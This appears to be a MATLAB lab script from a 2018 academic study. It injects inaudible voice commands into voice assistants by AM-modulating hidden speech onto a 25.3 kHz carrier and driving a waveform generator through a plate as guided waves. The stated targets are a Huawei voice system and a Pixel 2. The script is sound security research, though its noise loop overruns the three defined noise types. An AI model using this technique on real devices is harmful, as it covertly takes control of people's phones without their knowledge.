main_user_case.m

% Test audio attack huawei voice control system using plate guided
% wave _ Normalmode
% % This program illustrates the use of 33500B waveform and Tektronix
% MSO5000 series oscilloscope to acquire the arbitrary waveform. Agilent VISA will be used for
% communicating with your instrument, please ensure that it is installed.
%
% This script was tested with a Tek MDO3014 and google pixel2
%
% Copyright 2018 Think Lab in UNL.
% by Qi Xia and Kehai Liu, 11/12/2018
clc
clear
close all


data_root = './user_case_datasets/test/';
% data_noise=["joint","babble","volvo"];
data_noise = ["conversation", "babble","volvo"];

port=1;
ampExcite = 4; % Vpp
% for AM modulation
m = 0.7;

f_end = 32e3; % sweep frequency Hz
delta_f = 1e2;
f_start = 26e3;
% fvect = [f_start:delta_f:f_end];
fvect = [25.3].*1e3;
aFs_shadow = 4;


lengthzeros = 1e4;
% r = lengthzeros/2/lengthpuresignal; % r for generate tukey window
r=0.3;

flagNewTest = 1;

%% parameters of 33500 waveform generator
Address_33500 = '10';
numFreqs = length(fvect);
burstPeriod = 5; % s
pausePeriod = 3; % s

for audio_file_index=2:10
    for noise_index=1:4
        shadow_audio_dir=[data_root 'SV_' int2str(audio_file_index) '/' data_noise(noise_index) '/*hide2-48k.wav'];
        if noise_index == 1
            shadow_audio_dir=[data_root 'SV_' int2str(audio_file_index) '/' data_noise(noise_index) '/*hide3-48k.wav'];
        end
        shadow_audio_dir = string(join(shadow_audio_dir,''));
        shadow_audio_path = dir(shadow_audio_dir);
        
        for file_index=1:length(shadow_audio_path)
            %         for file_index=1:4
            shadow_audio_file=[shadow_audio_path(file_index).folder '\' shadow_audio_path(file_index).name];
            
            [shadow_audio, Fs_shadow] = audioread(shadow_audio_file);
            
            shadow_audio = [zeros(lengthzeros,1);shadow_audio;zeros(lengthzeros,1)];
            sRate_33500_shadow = aFs_shadow*Fs_shadow;
            
            %% interpolation
            
            x_shadow = (1:length(shadow_audio))';
            xi_shadow = (1/aFs_shadow:1/aFs_shadow:length(shadow_audio))';
            yi_shadow = interp1q(x_shadow,shadow_audio,xi_shadow)';
            yi_shadow(isnan(yi_shadow))=0;
            yi_shadow = yi_shadow/abs(max(yi_shadow));
%             plot(yi_shadow);
            %% Clear MATLAB workspace of any previous instrument connections
            instrreset;
            %             lengthArb=5248000;
            lengthArb_shadow = length(yi_shadow);
            t = (1:lengthArb_shadow)/sRate_33500_shadow;
            fgen = LinkTo33500_GPIB(Address_33500,lengthArb_shadow);
            name_shadow = 'audioShadow';
            %% Sweeping Measurement
            if flagNewTest~=0
                % create waitbar for sweeping
                for ifc = 1:length(fvect)
                    fc = fvect(ifc);
                    tic;
                    Mod1 = m*yi_shadow.*cos(2*pi*fc*t);
                    winTukey = tukeywin(length(yi_shadow),r);
                    Mod2 = Mod1 + winTukey'.*cos(2*pi*fc*t);
                    toc;
                    exciteErrorBit = direct_arbitraryTo33500_WaveformSend(Mod2,fgen,name_shadow,port,ampExcite,sRate_33500_shadow,burstPeriod);
                    pause(3);
                    %                     waveSendErrorBit = simultaneous_arbitraryTo33500_WaveformSend(yi,Mod2,fgen,name,name_shadow);
                    %                     if ~exciteErrorBit % if exciting works
                    %                         pause(pausePeriod);
                    %                     else % if exciting error
                    %                         msgbox('Error occurred trying to sending waveform','Error Message','error')
                    %                         break
                    %                     end
                    ifc = ifc+1;
                end
            end
            %% Close instrument connection
%             fprintf(fgen,'OUTPUT1 OFF'); %Enable Output for channel 1
%             fclose(fgen);
            
        end
    end
end